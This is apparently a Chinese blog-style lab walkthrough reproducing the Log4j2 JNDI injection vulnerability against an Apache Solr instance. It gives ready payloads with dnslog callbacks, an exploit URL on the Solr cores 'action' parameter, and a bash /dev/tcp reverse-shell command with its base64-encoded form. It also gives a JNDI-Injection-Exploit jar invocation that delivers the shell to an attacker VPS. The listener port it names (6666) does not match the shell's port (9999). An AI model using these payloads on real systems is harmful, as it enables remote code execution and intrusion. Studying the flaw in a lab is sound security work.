Log4j2漏洞复现
payload :
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://sb6vjj.dnslog.cn/exp}
1.环境配置:
靶机:kali220
vps:centos
攻击机:win10
2.测试漏洞
漏洞点在action参数,将poc输入之前,要现在dnslog申请一个地址。
构造payload:http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://xjgke4.dnslog.cn/exp}
获得回显,说明存在漏洞。
3.反弹shell
反弹shell的命令
bash -i >& /dev/tcp/vps_ip/9999 0>&1
里面的vps_ip是你要反弹shell的主机ip,9999是要监听的端口。注意了,用windos系统是弹不会shell的,因为bash -i不是windows的命令。
如我这里用的是192.168.200.133,进行编码:
编码的站点如下:
https://www.jackson-t.ca/runtime-exec-payloads.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2mdXOwmR-1644997111920)(C:\Users\67348\AppData\Roaming\Typora\typora-user-images\image-20220204203556105.png)]
将bash编码的复制,然后运行漏洞利用的jar文件:
下载地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"
-C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口.
使用生产的payload进行攻击rmi://192.168.200.133:1099/9mxiep
由于多个payload ,你可以一个一个去尝试。